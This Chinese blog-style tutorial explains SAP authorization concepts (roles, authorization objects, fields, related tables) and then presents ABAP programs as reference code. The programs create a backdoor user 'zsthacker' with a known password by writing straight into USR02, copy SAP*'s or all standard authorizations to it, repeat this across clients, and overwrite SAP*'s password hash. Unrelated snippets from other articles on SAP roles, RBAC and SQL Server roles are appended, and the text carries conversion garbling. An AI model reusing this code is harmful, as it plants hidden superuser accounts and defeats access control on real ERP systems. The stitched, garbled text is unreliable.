原文:
角色、通用角色、本地角色
| --許可權物件
mm_***x 物件
| --許可權字段
欄位一(負責增刪改)
欄位二(負責字段級准入)
| |
|| --允許操作
01/03/05/07 ||
|| --允許值
factory1,factory2, factory5~factory7
直觀的說,許可權就是「某人能幹某事」和「某人不能幹某事」之合。在sap系統中,用事務碼(也稱交易**、或者tcode、或者transactioncode)表示乙個使用者能幹
的事情。比如mm01這個tcode是用來維護物料資料的、migo是用來收貨的、fs00是用來維護會計科目的等。
用su01新建乙個id時,預設的許可權是空白,即這個新建的id不能做任何事情,不能使用任何事務**。這樣只需要為相應的id賦上相應的tcode,即可實現「某人能
幹某事」了,其補集,則是「某人不能幹的某些事」。
但是我們不能直接在su01裡面給某個id賦上tcode,要通過role中轉一下。即:一堆tcode組成了乙個role,然後把這個role分給某個id,然後這個id就得到一堆
tcode了。
上面這些,僅僅是sap許可權控制的初級概念,要理解sap許可權控制的全部,必須還要明白下面的概念。
1、角色(role)、通用角色(common role)、本地角色(local role)
上面講了,角色,即role,是一堆tcode的集合,當然還包含有tcode必備的「許可權物件」、「許可權字段」、「允許的操作」及「允許的值」等。我們使用pfcg來維護角色。
為了系統的測試與sap實施專案的階段性需要,進一步將角色分為「通用角色」和「本地角色」。
舉個例子便於理解:通用角色好比「生產訂單製單員」,本地角色對應就是「長城國際組裝一分廠生產訂單製單員」。所以,本地角色較之通用角色的區別就是,在同
樣的操作許可權(事務**們)情況下,前者多了具體的限制值。這個限制值可能是組織架構限制,也可能是其他業務的限制。如,一分廠的製單員不能維護二分廠
的製單員;一分廠的製單員甲只能維護型別為a的單據,而不能維護型別為b的單據,諸如此類。
具體請看下面的概念。
2、許可權物件(authorization object)、許可權字段(authorizationfield)、允許的操作(activity)、允許的值(field value)
上文粗略說了構成role的是若干tcode。其實,在role和tcode之間,還有乙個中間概念「許可權物件」:
角色包含了若干許可權物件,在透明表agr_1250中有儲存二者之間的關係;
許可權物件包含了若干許可權字段、允許的操作和允許的值,在透明表agr_1251中體現了role/object/field/value之間的關係;
有乙個特殊的許可權物件用來包含了若干事務碼。這個許可權物件叫「s_tcode」,該許可權物件的許可權欄位叫「tcd」,該欄位允許的值(fieldvalue)存放的就是事務代
碼;有一種特殊的許可權字段用來表示可以針對該許可權物件做哪些操作,是允許建立、修改、顯示、刪除或者其他呢。該許可權欄位叫「actvt」,該欄位允許的值(field
value)存放的就是允許操作的**,01代表建立、02代表修改、03代表顯示等;
sap的許可權控制是控制到字段級的,換句話說,其許可權控制機制可以檢查你是否有許可權維護某張透明表的某乙個字段。
sap系統自帶了若干許可權物件、預設控制了若干許可權字段(對應到透明表的某些字段)。可以用事務碼su20來檢視系統有哪些許可權字段,用su21來檢視系統有哪些
預設的許可權物件。
於是我們知道了事務**與許可權物件的區別。從許可權控制的範疇來看,事務**屬於一種特殊的許可權物件;乙個事務**在執行過程中,為了判斷某個id是否有權
限執行此事務**,還可能檢查其他若干普通的許可權物件。使用su22來檢視某個事務**包含了哪些許可權物件。在透明表usobx中,存放了事務碼與許可權物件的對
應關係。
3、自定義許可權物件
上文所說的系統自帶許可權物件與許可權欄位僅能滿足有限的需要,其許可權審核的邏輯也是系統硬編碼了的,我們能做的只是是否啟用某項許可權物件的檢查(使用su22
)。如果需要自定義,通過su20、su21定義即可。呼叫的時候在程式中加入類似**:
authority-check object 'z_vkorg' id 'vkorg' field'rec_vkorg-vkorg'.
if sy-subrc <> 0.
message 'no authorization!' type 'e'.
endif.
下面的程式zcrtuser是建立使用者zsthacker(初始密碼123qaz)並賦予sap*使用者的所有許可權的參考程式。
program zcrtuser.
data zusr02 like usr02 .
***1.create user zsthacker according to ddic
select single * into zusr02 from usr02
where bname = 'ddic'.
zusr02-bname = 'zsthacker'.
zusr02-bcode = 'e3b796bb09f7901b' .
insert usr02 from zusr02 .
***2.copy auth. obj from sap*(or other)
***如果將where bname = 'sap*'去掉,基本就是複製所有的授權物件
data zusrbf2 like usrbf2 occurs 0 with header line.
select * from usrbf2 into tablezusrbf2
where bname = 'sap*' .
loop at zusrbf2.
zusrbf2-bname = 'zsthacker'.
modify zusrbf2 index sy-tabix transportingbname.
endloop.
insert usrbf2 from table zusrbf2 accepting duplicate keys.
如果sap*可能被刪除,還可直接將tobj中包含的所有的erp授權物件全部賦予給乙個使用者。
以下程式zallobj是賦予所有的標準授權物件給使用者zsthacker 。
program zallobj。
data ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'zsthacker'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_sap_all'.
modify usrbf2 from zusrbf2.
endloop .
也可跨client建立使用者和賦予許可權,只要使用client specified就可以。
program zclient.
data zusrbf2 like usrbf2.
select * into zusrbf2 from usrbf2 where bname ='sap*' .
zusrbf2-bname = 'zsthacker' .
zusrbf2-mandt = '100'.
insert into usrbf2 client specified values zusrbf2.
endselect .
下面是一句話修改sap*的密碼為123456的程式,同樣,假設使用者butcher的密碼丟失,我只要隨便在一台伺服器上建立乙個使用者也叫butcher,然後密碼設定為
1qaz2wsx,則其在任何系統任何client加密後的密碼必為bf02c9f1f179fb45,這樣的加密意義已經不大。
report zmodpwd.
tables :usr02 .
update usr02 set bcode = ' cf094baa2020480e'
where bname = 'sap*'.
雖然以上只是乙個建立物料主資料的許可權控制,卻非常清晰地解釋了erp系統許可權控制的邏輯。
SAP 跨模組知識 許可權與角色(01) 概覽
願大家的學習,輕鬆且愉快。如果大家覺得有用,希望 關注,謝謝 許可權管理每個系統必然要考慮設計的功能模組,特別是針對類似sap這種典型的業務系統,許可權管理的要求會更高。本篇開始,我們就簡單分享一下sap許可權的設計思路以及具體應用。正文什麼是許可權?不管是什麼業務系統,能夠被企業所正常使用,其必然...
RBAC角色許可權設計
rbac role based access control,基於角色的訪問控制 就是使用者通過角色與許可權進行關聯。簡單地說,乙個使用者擁有若干角色,每乙個角色擁有若干許可權。這樣,就構造成 使用者 角色 許可權 的授權模型。在這種模型中,使用者與角色之間,角色與許可權之間,一般者是多對多的關係。...
SQL角色與許可權
伺服器級,使用使用者的loginid來識別使用者,可以是sql server登陸,也可是windows域和使用者名稱。資料庫級,通過將使用者加入固定的資料庫角色來為其授予特定的管理許可權。物件級,每個物件所有者自動獲得其所擁有的物件的許可權,使用dcl命令和系統儲存過程來管理。伺服器角色 sysad...